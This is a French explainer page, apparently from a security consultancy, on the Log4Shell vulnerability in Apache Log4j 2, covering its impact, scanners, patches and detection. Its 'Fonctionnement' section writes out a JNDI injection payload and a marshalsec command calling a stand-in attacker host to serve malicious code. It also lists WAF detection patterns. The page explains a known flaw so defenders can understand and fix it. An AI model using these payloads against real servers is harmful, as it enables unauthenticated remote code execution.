Log4Shell
hackingDéfinition
Log4Shell (CVE-2021-44228) est une vulnérabilité critique (CVSS 10.0) dans la bibliothèque de journalisation Java Apache Log4j 2, permettant l'exécution de code à distance via une injection JNDI (Java Naming and Directory Interface). Divulguée le 9 décembre 2021, elle a été qualifiée de pire vulnérabilité de la décennie en raison de l'omniprésence de Log4j dans les applications Java.
La vulnérabilité exploite la fonctionnalité de substitution de messages de Log4j : si une chaîne journalisée contient ${jndi:ldap://attaquant.com/exploit}, Log4j tente de résoudre cette expression JNDI en se connectant au serveur LDAP de l'attaquant. Ce serveur LDAP peut retourner une référence à un objet Java hébergé sur un serveur HTTP, que la JVM cible télécharge et exécute. La RCE est instantanée et n'exige aucune authentification préalable.
L'impact extraordinaire de Log4Shell résulte de la distribution de Log4j dans pratiquement toutes les applications Java modernes : serveurs VMware vCenter, Cisco products, Minecraft, Steam, Apple iCloud, Amazon AWS, Fortinet products, et des milliers d'applications métier utilisent Log4j pour la journalisation. Le payload peut être injecté dans tout champ journalisé : User-Agent, X-Forwarded-For, paramètres GET/POST, headers HTTP personnalisés.
Les scanners Log4Shell (log4j-scan, FullHunt's scanner) testent automatiquement des milliers d'endpoints en injectant des payloads JNDI avec des callbacks DNS (via Burp Collaborator ou interact.sh) pour détecter les instances vulnérables.
La correction nécessite la mise à jour vers Log4j 2.17.1+ (la version 2.15 et 2.16 avaient des bypasses partiels). La mitigation temporaire (LOG4J_FORMAT_MSG_NO_LOOKUPS=true) désactive les lookups mais n'est pas complète.
Fonctionnement
Payload minimal : ${jndi:ldap://attaquant.com:389/exploit} injecté dans User-Agent ou tout champ journalisé. Sur le serveur attaquant : démarrer marshalsec LDAP server (java -cp marshalsec-0.0.3.jar marshalsec.jndi.LDAPRefServer 'http://attaquant.com:8888/#Exploit') + servir une classe Java malveillante. Quand Log4j journalise la requête, il résout le JNDI, télécharge Exploit.class, et l'exécute dans la JVM cible. RCE immédiate en tant que l'utilisateur Java.
Exploitation offensive
Log4Shell a permis de compromettre des milliers d'applications d'entreprise directement depuis Internet en quelques jours post-divulgation. Des APT et des ransomwares ont exploité Log4Shell pour un accès initial sur des applications Java exposées (vCenter, Confluence, serveurs d'authentification) avant une propagation latérale vers AD.
Détection et mitigation
Mettre à jour Log4j vers 2.17.1+. Bloquer les connexions JNDI sortantes depuis les serveurs d'application (LDAP, RMI vers des IPs externes) via le firewall. Les WAF avec signatures Log4Shell (patterns jndi:, ${, ldap://) bloquent les exploitations directes mais peuvent être bypassés avec des encodages. Defender for Endpoint et les SIEM détectent les lookups DNS/LDAP vers des domaines de C2 connus.
Articles liés
Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.
Services
- Audit Infrastructure
- Audit Kubernetes
- Audit Microsoft 365
- Audit Sécurité Réseau
- Analyse de Risques
- Audit Active Directory
- Audit Application Web
- Audit Cloud (AWS/Azure/GCP)
- Audit Messagerie
- Audit API (OWASP Top 10)
- Audit DevSecOps & CI/CD
- Audit Code Source (SAST)
- Audit Postes de Travail
- Audit Sauvegarde & Résilience
- Audit OT/SCADA (IEC 62443)
- Développement IA
- Formations
Ressources
Projets & Outils
© 2026 Ayi NEDJIMI Consultants. Tous droits réservés. 2.1.7
Un projet cybersécurité ?
Expert dispo · Réponse 24h